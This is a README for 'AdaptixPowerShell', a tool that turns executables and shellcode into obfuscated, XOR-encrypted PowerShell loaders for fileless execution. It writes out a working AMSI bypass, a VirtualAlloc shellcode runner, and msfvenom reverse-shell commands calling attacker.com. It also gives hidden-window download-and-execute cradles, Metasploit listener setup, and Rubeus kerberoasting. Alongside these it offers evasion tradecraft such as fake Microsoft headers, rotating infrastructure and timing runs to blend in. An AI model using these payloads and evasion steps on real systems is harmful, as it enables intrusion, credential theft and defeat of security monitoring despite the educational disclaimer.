An advanced PowerShell payload generator that converts executables and shellcode into heavily obfuscated, encrypted PowerShell scripts for in-memory execution. Features Chimera-style obfuscation, XOR encryption, AMSI bypass, and direct .exe to shellcode conversion using Donut.
- Disclaimer
- Overview
- Features
- Installation
- Quick Start
- Command Reference
- Usage Examples
- How It Works
- Obfuscation Techniques
- Donut Integration
- Payload Size Guidelines
- Detection Evasion
- Best Practices
- Troubleshooting
- FAQ
- Credits
THIS PROJECT IS INTENDED FOR EDUCATIONAL PURPOSES AND SECURITY RESEARCH ONLY
This tool is designed for:
- Security research and study: Understanding obfuscation techniques and payload delivery mechanisms
- Enhancing detection capabilities: Helping blue teams and security researchers improve their detection rules and defensive strategies
- Authorized penetration testing: Only in controlled environments with explicit written permission
- β MUST be used only in controlled, isolated laboratory environments
- β MUST have explicit written authorization before testing on any system
- β MUST NOT be used for unauthorized access or malicious purposes
β οΈ Unauthorized access to computer systems is illegal and may result in severe legal consequences
The authors and contributors assume NO LIABILITY for misuse, damage, or illegal activities conducted with this tool. By using this software, you agree to use it responsibly and in accordance with all applicable laws and regulations.
AdaptixPowerShell is a sophisticated payload generation framework that transforms Windows executables and raw shellcode into obfuscated PowerShell scripts designed for in-memory execution. The tool combines multiple evasion techniques to bypass modern security controls while maintaining reliability and flexibility.
- Converts executables to shellcode using Donut (position-independent code generation)
- Encrypts the payload using XOR encryption with random keys
- Obfuscates all code using Chimera-style techniques (variable randomization, string chunking, dead code)
- Bypasses AMSI (Anti-Malware Scan Interface) using reflection
- Generates ready-to-use PowerShell delivery scripts with multiple execution methods
- Bypass Static Detection: Randomized obfuscation ensures different signatures every run
- Evade AMSI: Built-in AMSI bypass allows PowerShell execution in protected environments
- In-Memory Execution: No files written to disk (fileless attack technique)
- Flexible Input: Accepts both raw shellcode (.bin) and Windows executables (.exe/.dll)
- Multiple Architectures: Support for x86, x64, and dual-mode payloads
- Customizable: 5 obfuscation levels to balance stealth vs. payload size
- Red Team Operations: Payload delivery during authorized penetration tests
- Security Research: Understanding obfuscation and evasion techniques
- Blue Team Training: Testing defensive capabilities and detection rules
- Malware Analysis: Studying in-memory execution techniques
- Direct .exe/.dll to shellcode conversion using Donut
- No need to manually generate raw shellcode
- Supports x86, x64, and dual-mode (x86+x64) architectures
- Built-in AMSI/WLDP bypass options
- Pass command-line parameters to the executable
- Automatic detection of PE files
- AMSI bypass string chunking
System.Management.Automationstring obfuscationamsiInitFailedfield name obfuscation- Random variable names (15-25 characters)
- Dead code insertion (junk code between variables)
- Random indentation
- Backtick injection in cmdlets
- XOR encryption of shellcode
- Encrypted payload split into 2-5 chunks
- Random variable names for each chunk
- Runtime concatenation before decryption
kernel32.dllsplit into 4 random const strings- Random class names (replaces
Win32) - Random method names (replaces
VirtualAlloc) - Random delegate names (replaces
ShellcodeDelegate) - EntryPoint remapping
git clone <repository-url>
cd hostpayload
# Install required dependencies (donut-shellcode)
pip3 install -r requirements.txt
# Make script executable
chmod +x adaptixpowerShell.pyNote: The donut-shellcode Python package is required for .exe to shellcode conversion. If you only plan to use raw shellcode (.bin files), you can skip installing requirements.
# 1. Clone and setup
git clone <repository-url>
cd hostpayload
pip3 install -r requirements.txt
# 2. Generate a payload from shellcode
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.1.100 LPORT=443 -f raw -o shell.bin
python3 adaptixpowerShell.py shell.bin -l 3
# 3. Start web server
python3 -m http.server 80
# 4. Execute on target (use the command shown in the output)
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://IP:PORT/output.ps1')"# Convert any .exe directly to obfuscated PowerShell
python3 adaptixpowerShell.py beacon.exe -l 3
# Output provides everything you need:
# - PowerShell file (random name)
# - Direct download command
# - Base64 encoded commandpython3 adaptixpowerShell.py <input_file> [options]| Argument | Type | Description |
|---|---|---|
<input_file> |
Path | Input file (.bin shellcode or .exe/.dll executable) |
| Option | Short | Values | Default | Description |
|---|---|---|---|---|
--help |
-h |
- | - | Show help message and exit |
--level |
-l |
1-5 | 3 | Obfuscation level (1=low, 5=maximum) |
--debug |
-d |
- | Off | Enable debug output in generated payload |
--no-obfuscate |
- | - | Off | Disable all obfuscation (fast, minimal) |
| Option | Short | Values | Default | Description |
|---|---|---|---|---|
--arch |
-a |
1, 2, 3 | 3 | Target architecture: 1 = x86 only 2 = x64 only 3 = x86+x64 (universal) |
--bypass |
-b |
1, 2, 3 | 3 | AMSI/WLDP bypass mode: 1 = none 2 = abort on fail 3 = continue on fail |
--params |
-p |
"string" | "" | Command line parameters for the executable |
| Level | Techniques Applied | Payload Size | Speed | Use Case |
|---|---|---|---|---|
| 1 | Basic string chunking, minimal obfuscation | Smallest | Fastest | Testing, low-security environments |
| 2 | + Variable randomization, some dead code | Small | Fast | Balanced approach |
| 3 | + Full Chimera obfuscation, more dead code | Medium | Moderate | Default - Recommended |
| 4 | + Aggressive string splitting, heavy dead code | Large | Slower | Hardened targets |
| 5 | + Maximum obfuscation, extensive dead code | Largest | Slowest | Maximum stealth required |
# Generate obfuscated payload from raw shellcode (default level 3)
python3 adaptixpowerShell.py shellcode.bin
# Generate payload from .exe file (auto-converts to shellcode)
python3 adaptixpowerShell.py payload.exe -l 4
# Generate payload from .exe with command line parameters
python3 adaptixpowerShell.py payload.exe -p "arg1 arg2" -l 5
# Specify target architecture for .exe conversion
python3 adaptixpowerShell.py payload.exe --arch 2 # x64 only
# Specify obfuscation level (1-5)
python3 adaptixpowerShell.py shellcode.bin -l 4
# Enable debug mode
python3 adaptixpowerShell.py shellcode.bin -d
# Disable obfuscation
python3 adaptixpowerShell.py shellcode.bin --no-obfuscate- Level 1: Low obfuscation, faster execution
- Level 2: Medium obfuscation
- Level 3: High obfuscation (default)
- Level 4: Higher obfuscation
- Level 5: Maximum obfuscation
The script generates three delivery methods:
-
Direct Download:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://IP:PORT/payload.ps1')"
-
Base64 Encoded:
powershell -nop -w hidden -enc <base64_string>
-
PowerShell File:
<random>.ps1
# Use any .exe file (Cobalt Strike beacon, custom implant, etc.)
python3 adaptixpowerShell.py beacon.exe -l 4
# Start web server
python3 -m http.server 80
# Execute on target
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/xyz123.ps1')"# Pass parameters that will be given to the executable at runtime
python3 adaptixpowerShell.py myapp.exe -p "--config C:\temp\config.ini --verbose" -l 5
# The parameters will be passed to myapp.exe when it runs in memory# Generate raw shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.1.100 LPORT=443 \
EXITFUNC=thread -f raw -o shell.bin
# Obfuscate with AdaptixPowerShell
python3 adaptixpowerShell.py shell.bin -l 4
# Start web server
python3 -m http.server 80
# Execute on target
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/xyz123.ps1')"# Generate x64-only payload from .exe (smaller, modern systems)
python3 adaptixpowerShell.py payload.exe --arch 2 -l 4
# Generate x86-only payload from .exe (legacy systems)
python3 adaptixpowerShell.py payload.exe --arch 1 -l 4
# Generate dual-mode payload (x86+x64) - DEFAULT (maximum compatibility)
python3 adaptixpowerShell.py payload.exe --arch 3 -l 4Why choose different architectures?
- x64 only (--arch 2): 30-40% smaller payload, works on all modern Windows (recommended)
- x86 only (--arch 1): Smallest payload, legacy systems only
- Dual-mode (--arch 3): Maximum compatibility, but larger payload size
# Convert Cobalt Strike beacon to PowerShell
python3 adaptixpowerShell.py beacon.exe --arch 2 -l 5
# Setup HTTP server
python3 -m http.server 8080
# On target machine, execute:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100:8080/abc123.ps1')"# Execute SharpHound with parameters
python3 adaptixpowerShell.py SharpHound.exe -p "-c All" -l 4
# Execute Rubeus with kerberoasting
python3 adaptixpowerShell.py Rubeus.exe -p "kerberoast /outfile:hashes.txt" -l 4
# The parameters will be passed to the assembly when executed in memory# Generate with debug output (shows decryption info)
python3 adaptixpowerShell.py test.exe -l 3 -d
# Output will include diagnostic information:
# - Encrypted payload length
# - Decryption key length
# - First 16 bytes of decrypted shellcode (hex)
# - Useful for verifying the payload works correctly# Disable obfuscation for smallest/fastest payload
python3 adaptixpowerShell.py small_beacon.exe --arch 2 --no-obfuscate
# Use case: Testing, low-security environments, size constraints# Maximum obfuscation with x64 architecture
python3 adaptixpowerShell.py payload.exe --arch 2 -l 5 --bypass 3
# Features enabled:
# - Level 5 obfuscation (maximum)
# - x64 only (smaller than dual-mode)
# - AMSI/WLDP bypass continues on fail
# - All Chimera-style obfuscation techniques
# - Maximum dead code insertion# Step 1: Generate meterpreter shellcode
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=attacker.com LPORT=443 EXITFUNC=thread \
-f raw -o payload.bin
# Step 2: Obfuscate and encrypt
python3 adaptixpowerShell.py payload.bin -l 4
# Step 3: Setup listeners
# Terminal 1: Web server
python3 -m http.server 80
# Terminal 2: Metasploit listener
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_https; \
set LHOST 0.0.0.0; set LPORT 443; \
set ExitOnSession false; exploit -j"
# Step 4: Execute on target
# Use the PowerShell command from the tool's outputβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β INPUT PHASE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββ΄ββββββββββββββββββββββ
β β
[.exe/.dll] [.bin file]
β β
β β
ββββββββββββββββββββ (Skip to Step 2)
β DONUT CONVERSION β
β - Detects PE β
β - Converts to PICβ
β - Adds loader β
ββββββββββββββββββββ
β
βββββββββββββββββββββββ¬βββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 1: AMSI BYPASS INJECTION β
β - Generates AMSI bypass code β
β - Uses reflection to access amsiInitFailed field β
β - Sets field to $true to disable AMSI β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 2: XOR ENCRYPTION β
β - Generates random 16-byte encryption key β
β - XOR encrypts entire shellcode payload β
β - Key embedded in PowerShell script β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 3: PAYLOAD CHUNKING β
β - Splits encrypted shellcode into 2-5 chunks β
β - Each chunk assigned random variable name β
β - Concatenated at runtime before decryption β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 4: OBFUSCATION β
β - String chunking (breaks strings into pieces) β
β - Variable randomization (15-25 character names) β
β - C# class/method name randomization β
β - Backtick injection in cmdlets β
β - Random indentation β
β - Comment insertion β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 5: DEAD CODE INSERTION β
β - Meaningless operations (never executed) β
β - Junk variables and calculations β
β - Scales with obfuscation level (20%-40%) β
β - Hinders human analysis and pattern detection β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 6: HEADER GENERATION β
β - Adds fake Microsoft PowerShell header β
β - Random script name and metadata β
β - Appears legitimate to cursory inspection β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β OUTPUT: .ps1 FILE β
β - Ready-to-use PowerShell script β
β - Direct download command β
β - Base64 encoded command β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β POWERSHELL DOWNLOADS & EXECUTES SCRIPT β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 1: AMSI BYPASS β
β PowerShell reflection disables AMSI monitoring β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 2: CHUNK CONCATENATION β
β 5 encrypted chunks β Single byte array β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 3: XOR DECRYPTION β
β Decrypts shellcode using embedded key β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 4: MEMORY ALLOCATION β
β VirtualAlloc(): Allocate RWX memory region β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 5: SHELLCODE COPY β
β Marshal.Copy(): Copy decrypted shellcode to memory β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 6: EXECUTION β
β GetDelegateForFunctionPointer(): Create delegate & invoke β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SHELLCODE EXECUTES IN MEMORY β
β - No files written to disk β
β - Runs with PowerShell process privileges β
β - Original .exe/.dll behavior maintained β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Donut creates position-independent code (PIC) from executables:
- Parses PE headers and extracts necessary metadata
- Creates a loader stub that reconstructs the PE in memory
- Resolves imports and relocations dynamically
- Supports .NET assemblies (uses CLR hosting)
- Supports native executables (custom PE loader)
Size Impact: 1.7 MB .exe β ~1.7 MB shellcode (minimal overhead)
- Algorithm: Simple XOR cipher with random key
- Key Length: 16 bytes (randomly generated each run)
- Why XOR? Fast, reversible, different output every time
- Key Storage: Embedded in PowerShell script (obfuscated)
encrypted_byte = original_byte XOR key[i % key_length]Uses PowerShell reflection to disable AMSI:
$ref = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils")
$field = $ref.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)Result: AMSI reports "not initialized" for all subsequent scans
Uses Adaptix C2 technique (GetDelegateForFunctionPointer):
# Allocate RWX memory
$ptr = [Win32]::VirtualAlloc([IntPtr]::Zero, $size, 0x3000, 0x40)
# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, $size)
# Create delegate and execute
$delegate = [Marshal]::GetDelegateForFunctionPointer($ptr, [ShellcodeDelegate])
$delegate.Invoke()Advantages:
- No external DLL injection
- Runs in PowerShell process context
- Minimal API calls (harder to detect)
This tool integrates Donut - a shellcode generation tool that creates position-independent shellcode payloads from .NET Assemblies, native EXEs/DLLs, VBS/JS/XSL scripts.
Donut is a shellcode generation tool that allows you to convert executables into shellcode that can be executed from memory. It:
- Generates position-independent shellcode from EXE/DLL files
- Supports both .NET assemblies and native PE files
- Includes built-in AMSI and WLDP bypass capabilities
- Allows passing command-line parameters to the executable
- Works on x86, x64, and dual-mode architectures
| Option | Values | Description |
|---|---|---|
-a, --arch |
1=x86, 2=amd64, 3=x86+amd64 | Target architecture (default: 3) |
-b, --bypass |
1=none, 2=abort, 3=continue | AMSI/WLDP bypass behavior (default: 3) |
-p, --params |
string | Command line parameters for the executable |
- Cobalt Strike Beacon: Convert beacon.exe to shellcode
- Custom C# Tools: Execute .NET assemblies in memory
- Mimikatz: Run mimikatz.exe without touching disk
- Any Windows PE: Convert any .exe to injectable shellcode
PowerShell hex encoding causes significant size inflation:
Binary Shellcode: \x41\x42\x43 (3 bytes)
PowerShell Array: 0x41,0x42,0x43 (15 characters)
Size Multiplier: ~5x inflation
| Input Type | Input Size | Donut Shellcode | Final Payload | Status |
|---|---|---|---|---|
| Raw shellcode | 10 KB | - | ~50 KB | β Excellent |
| Raw shellcode | 50 KB | - | ~250 KB | β Great |
| Small .exe | 100 KB | 115 KB | ~575 KB | β Good |
| Medium .exe | 500 KB | 520 KB | ~2.6 MB | β Works |
| Large .exe | 1 MB | 1 MB | ~5 MB | |
| Very Large .exe | 1.7 MB | 1.7 MB | ~8.5 MB | β Problematic |
| Final Payload Size | Execution Success Rate | Recommendation |
|---|---|---|
| < 500 KB | 99%+ | β Optimal - Recommended |
| 500 KB - 2 MB | 95%+ | β Good - Reliable |
| 2 MB - 5 MB | 85%+ | |
| 5 MB - 10 MB | 60%+ | β Problematic - Often fails |
| > 10 MB | < 30% | β Won't Work - Too large |
- Memory Allocation: PowerShell has practical memory limits
- Download Timeouts: Large scripts timeout during download
- Parsing Overhead: PowerShell struggles with massive hex arrays
- EDR Detection: Large memory allocations trigger behavioral alerts
- Network Constraints: Firewall/proxy size limits
# Already optimal - shellcode is pre-compiled
python3 adaptixpowerShell.py meterpreter.bin -l 3# Use default settings - works great
python3 adaptixpowerShell.py small_beacon.exe -l 3# Use x64 only + moderate obfuscation
python3 adaptixpowerShell.py medium.exe --arch 2 -l 2# Option 1: Minimum settings (may still fail)
python3 adaptixpowerShell.py large.exe --arch 2 -l 1
# Option 2: Generate shellcode with msfvenom instead (BETTER)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=attacker.com LPORT=443 -f raw -o shell.bin
python3 adaptixpowerShell.py shell.bin -l 3- β Use purpose-built payloads instead of full applications
- β Generate shellcode directly when possible (msfvenom, Cobalt Strike)
- β Target specific architecture (--arch 2 for x64)
- β Test payload size before deployment (ls -lh *.ps1)
- β Use lower obfuscation for large files (-l 1 or -l 2)
- β Don't convert GUI applications (putty.exe, notepad++.exe)
- β Don't convert installers or setup files
- β Don't use level 5 obfuscation on large files
-
Always Use HTTPS
# Setup HTTPS server instead of HTTP python3 -m http.server 443 --ssl -
Randomize Infrastructure
- Different IP addresses per operation
- Rotate domains/subdomains
- Use cloud providers for hosting
-
Clean Up After Operations
# Remove generated payloads after use rm -f *.ps1
-
Test in Isolated Environment First
- VM/sandbox testing before deployment
- Verify payload works correctly
- Check payload size is reasonable
-
Choose Appropriate Obfuscation Level
- Level 3 for most operations (balanced)
- Level 5 for hardened targets only
- Level 1-2 for size-constrained scenarios
-
Match Architecture to Target
- Use
--arch 2(x64) for modern Windows - Use
--arch 3only when target unknown - Smaller payload = better reliability
- Use
-
Test Command Line Parameters
# Verify parameters work before deployment python3 adaptixpowerShell.py tool.exe -p "test params" -l 3 -d
-
Monitor Payload Size
# Always check size after generation ls -lh *.ps1 # If > 5 MB, reconsider approach
-
Use Appropriate Execution Method
- Direct download for testing
- Base64 encoded for stealth
- Consider alternative delivery (macro, HTA, etc.)
-
Timing Considerations
- Execute during business hours (blend in)
- Avoid automated scans/AV update times
- Stagger executions across targets
-
Error Handling
- Use debug mode (-d) during testing
- Monitor for AMSI bypass failures
- Have fallback payloads ready
-
Vary Your Payloads
- Regenerate for each target
- Different obfuscation levels
- Unique infrastructure per operation
-
Avoid Patterns
- Don't reuse same payload
- Change parameters between runs
- Rotate delivery methods
-
Monitor for Detection
- Watch for blocked connections
- Check AV/EDR alerts
- Adjust tactics if detected
# Before
$dll = "kernel32.dll"
# After
$vKudKDAuMJHv = "ker"
$DOOqHAdQjVXYBFc = "nel"
$knbATApFWUpN = "32."
$hNverCTTZdykJ = "dll"
$dll = $vKudKDAuMJHv + $DOOqHAdQjVXYBFc + $knbATApFWUpN + $hNverCTTZdykJ[Byte[]] $chunk1 = 0x62,0xBE,0x41,0xB7...
[Byte[]] $chunk2 = 0xF7,0xF5,0xBB,0x2D...
[Byte[]] $chunk3 = 0x4D,0x90,0xF7,0x58...
[Byte[]] $encrypted = $chunk1 + $chunk2 + $chunk3# Real code mixed with junk code
$realVariable = "important"
Get-Random -Min 1 -Max 100 | Out-Null # Dead code (unused)
$junkVar = 'randomString' # Dead code (unused)
[Math]::Abs(-500) | Out-Null # Dead code (unused)
$anotherReal = "value"
if ($undefined -eq $null) { $x = 5 } # Dead code (never executes)
$env:COMPUTERNAME | Out-Null # Dead code (unused)10 Types of Dead Code:
- Meaningless variable assignments
- Math operations with unused results
- Conditionals that never execute
- String operations with unused results
- Environment variable checks (unused)
- Timestamp operations (unused)
- Random number generation (unused)
- Type checks (unused)
- Process checks (unused)
- Commented debugging code
Important Notes:
- Dead code is intelligently inserted between PowerShell lines
- Scales with obfuscation level (20% at level 1, up to 40% at level 5)
- Zero performance impact - all junk piped to
Out-Nullor never executes - Makes manual analysis harder for security researchers
// Before
public class Win32 {
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(...);
}
// After
private const string vKudKDAuMJHv = "ker";
private const string DOOqHAdQjVXYBFc = "nel";
private const string knbATApFWUpN = "32.";
private const string hNverCTTZdykJ = "dll";
public class UwZtTEjJflziJLL {
[DllImport(vKudKDAuMJHv + DOOqHAdQjVXYBFc + knbATApFWUpN + hNverCTTZdykJ, EntryPoint = "VirtualAlloc")]
public static extern IntPtr nTUEhCagiLrPlou(...);
}- Static signature detection
- String-based AV signatures
- Hash-based detection (different each run)
- AMSI (bypassed)
- Simple obfuscation detection
- Behavioral analysis (memory allocation patterns)
- Advanced EDR with behavioral heuristics
- Network-based IDS/IPS (for download cradles)
- ETW (Event Tracing for Windows)
Always test your payloads in a controlled environment:
# Create test shellcode (NOP sled)
python3 -c "import sys; sys.stdout.buffer.write(b'\x90' * 8)" > test.bin
# Generate payload
python3 adaptixpowerShell.py test.bin -l 3 -d
# Test execution (should not crash)
powershell -ExecutionPolicy Bypass -File generated_payload.ps1Large executables (> 1 MB) may produce PowerShell payloads that are too large to execute reliably:
| Executable Size | Payload Size | Status |
|---|---|---|
| < 100 KB | ~500 KB | β Reliable |
| 100-500 KB | 1-3 MB | β Good |
| 500 KB - 1 MB | 3-5 MB | |
| 1+ MB (e.g., putty.exe) | 8+ MB | β Problematic |
Problem: PowerShell hex encoding inflates shellcode size by ~5x, causing:
- Memory allocation failures
- Download timeouts
- Execution hangs/crashes
- EDR/AV detection
Solutions for large executables:
-
Use smaller alternatives (BEST)
# Don't convert full GUI apps # Use purpose-built payloads/beacons instead
-
Use msfvenom shellcode instead
msfvenom -p windows/x64/meterpreter/reverse_https \ LHOST=192.168.1.100 LPORT=443 -f raw -o shell.bin python3 adaptixpowerShell.py shell.bin -l 3 # Result: ~300 KB payload vs 8+ MB -
Reduce settings
# x64 only + minimal obfuscation python3 adaptixpowerShell.py large.exe --arch 2 -l 1
Possible Causes:
- AMSI bypass failed
- PowerShell execution policy blocking
- Payload too large
- Network/download issues
Solutions:
# 1. Try with debug mode to see what's happening
python3 adaptixpowerShell.py payload.exe -l 3 -d
# 2. Test on similar VM first
# 3. Try different bypass mode
python3 adaptixpowerShell.py payload.exe -l 3 --bypass 2
# 4. Reduce payload size
python3 adaptixpowerShell.py payload.exe --arch 2 -l 1Solutions:
# 1. Increase obfuscation level
python3 adaptixpowerShell.py payload.exe -l 5
# 2. Regenerate payload (different each time)
python3 adaptixpowerShell.py payload.exe -l 4
# 3. Use raw shellcode instead of .exe
msfvenom ... -f raw -o shell.bin
python3 adaptixpowerShell.py shell.bin -l 4Checklist:
- β
Web server running? (
python3 -m http.server 80) - β Firewall allows connections?
- β Correct IP address in command?
- β Payload file exists in web root?
- β Target can reach attacker IP?
Q: Is this tool legal to use?
A: Yes, for authorized security testing, research, and educational purposes only. Always obtain written permission before testing on any systems you don't own.
Q: Will this bypass all antivirus?
A: No tool bypasses all detection. This tool helps evade static signatures and AMSI, but behavioral analysis and advanced EDR may still detect it.
Q: Can I use this in production red team operations?
A: Yes, but always follow your rules of engagement and ensure proper authorization.
Q: Is the shellcode encrypted on disk?
A: Yes, the shellcode is XOR encrypted in the .ps1 file. It's only decrypted in memory at runtime.
Q: Why do I need the donut module?
A: Donut converts .exe files to position-independent shellcode. Without it, you can only use raw .bin shellcode files.
Q: What's the difference between the obfuscation levels?
A: Higher levels add more obfuscation techniques but increase payload size and generation time. Level 3 is recommended for most scenarios.
Q: Can I use this with Cobalt Strike beacons?
A: Yes! Convert your beacon.exe directly:
python3 adaptixpowerShell.py beacon.exe --arch 2 -l 4Q: Does this work on PowerShell 7?
A: It's designed for Windows PowerShell (5.1). PowerShell Core (7+) has different behavior and may not work reliably.
Q: Can I chain this with other tools?
A: Yes! Generate shellcode with any tool (msfvenom, Cobalt Strike, custom tools) and convert it:
# Any tool that outputs raw shellcode
your-tool --output shell.bin
python3 adaptixpowerShell.py shell.bin -l 3Q: Why is my payload so large?
A: PowerShell hex encoding inflates size by ~5x. Large input files (> 1 MB) create very large payloads. See Payload Size Guidelines.
Q: Can I compress the payload?
A: The tool doesn't include compression, but you can:
- Use smaller input files
- Lower obfuscation level
- Target specific architecture (--arch 2)
Q: How do I pass command-line arguments to the exe?
A: Use the -p or --params option:
python3 adaptixpowerShell.py tool.exe -p "arg1 arg2 --flag" -l 3Q: Can I convert DLL files?
A: Yes, donut supports DLLs. Specify the export function if needed.
Q: Do I need admin rights to run the payload?
A: No, the payload runs with the privileges of the PowerShell process. If PowerShell is running as admin, the payload has admin rights.
Q: What if AMSI bypass fails?
A: Use --bypass 2 (abort on fail) instead of default --bypass 3 (continue on fail). This prevents execution if AMSI can't be bypassed.
Q: Can I execute the payload without downloading?
A: Yes, you can embed the entire .ps1 content in a command or macro, but it will be very long for large payloads.
Q: How do I test if it works?
A: Use debug mode:
python3 adaptixpowerShell.py test.exe -l 3 -dThe payload will show decryption and execution information.
Q: My 1.7 MB putty.exe created an 8 MB payload that doesn't work. Why?
A: Large executables create very large PowerShell payloads that exceed reliable execution limits. Solutions:
- Use smaller executables (< 500 KB)
- Generate shellcode with msfvenom instead
- Use a custom payload designed for in-memory execution
Q: Which architecture should I use?
A:
--arch 2(x64) for modern Windows (recommended, smaller payload)--arch 3(x86+x64) for maximum compatibility (larger payload)--arch 1(x86) only for legacy systems
Q: How long does generation take?
A:
- Small files (< 100 KB): < 1 second
- Medium files (100-500 KB): 1-3 seconds
- Large files (1 MB+): 5-10 seconds
- Depends on obfuscation level and system speed
# Solution: Install donut
pip3 install donut-shellcode
# Or from requirements
pip3 install -r requirements.txt
# Verify installation
python3 -c "import donut; print('Donut installed successfully')"If you get an error about donut not being installed:
# Install donut-shellcode
pip3 install donut-shellcode
# Or install from requirements.txt
pip3 install -r requirements.txtIf pip installation fails, you can install donut manually:
git clone https://github.com/TheWover/donut
cd donut
pip3 install .To verify donut is working correctly:
# Use a SMALL test file (< 100 KB recommended)
python3 adaptixpowerShell.py small_test.exe -l 3 -d
# Check output for "Converting test.exe to shellcode using donut..."
# Verify payload size is reasonable (< 2 MB)
ls -lh *.ps1- Use
--arch 3(default) for maximum compatibility (x86+x64) - Use
--arch 2for x64-only targets (smaller payload size) - Use
--arch 1for x86-only targets (legacy systems)
Causes:
- Large input file
- High obfuscation level (4-5)
- Slow system
Solutions:
# Use lower obfuscation level
python3 adaptixpowerShell.py large.exe -l 1 # Much faster
# Or disable obfuscation entirely
python3 adaptixpowerShell.py large.exe --no-obfuscate# Bypass execution policy
powershell -ExecutionPolicy Bypass -File payload.ps1
# Or in the download command
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://...')"The tool includes AMSI bypass, but if it fails:
# Try different bypass mode
python3 adaptixpowerShell.py payload.exe --bypass 2 -l 5
# Or increase obfuscation
python3 adaptixpowerShell.py payload.exe -l 5# Enable debug output
python3 adaptixpowerShell.py test.exe -l 3 -d
# Check payload size
ls -lh *.ps1
# Test locally first
python3 -m http.server 8000
# Then on the same machine:
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://localhost:8000/payload.ps1')"AdaptixPowerShell is a comprehensive payload generation framework that combines:
β
Direct .exe to shellcode conversion (Donut integration)
β
Military-grade encryption (XOR with random keys)
β
Sophisticated obfuscation (Chimera-style techniques)
β
AMSI bypass (Reflection-based)
β
In-memory execution (Fileless attack technique)
β
Multiple delivery methods (Direct, Base64, File)
β
Flexible architecture support (x86, x64, dual-mode)
β
5 obfuscation levels (Balance stealth vs. size)
- No manual shellcode generation needed - Convert .exe directly
- Different signature every time - Randomized obfuscation
- Works with any payload - Meterpreter, Cobalt Strike, custom tools
- Bypass modern defenses - AMSI, static detection, simple signatures
- Production-ready output - Complete with multiple execution methods
β
Authorized penetration testing
β
Red team operations
β
Security research and training
β
Testing defensive capabilities
β
Malware analysis research
β Unauthorized access
β Malicious purposes
β Without proper authorization
β In violation of laws or regulations
- Donut - Shellcode generation from executables
- Chimera - PowerShell obfuscation inspiration
- Invoke-Obfuscation - Advanced PowerShell obfuscation
- Donut Documentation: https://github.com/TheWover/donut/tree/master/docs
- AMSI Bypass Techniques: Research various reflection-based methods
- In-Memory Execution: Study process injection and reflective loading
- Obfuscation Techniques: Learn about string manipulation and dead code
- Report issues and contribute at the project repository
- Follow responsible disclosure practices
- Share techniques with the security research community
-
Chimera by @tokyoneon
- PowerShell obfuscation techniques
- String chunking methodology
- Variable randomization approach
-
Invoke-Obfuscation by @danielbohannon
- Advanced obfuscation concepts
- Backtick injection techniques
- PowerShell evasion strategies
-
Donut by @TheWover
- Position-independent code generation
- PE to shellcode conversion
- Cross-architecture support
- Python 3 - Core scripting language
- PowerShell - Target execution environment
- Donut - Shellcode generation engine
- C# P/Invoke - Windows API interaction
This tool combines research and techniques from the offensive security community. Special thanks to all researchers who share their knowledge publicly.
This project is provided "as-is" for educational and research purposes only.
-
Permitted Use:
- Educational research and learning
- Authorized penetration testing
- Security training and awareness
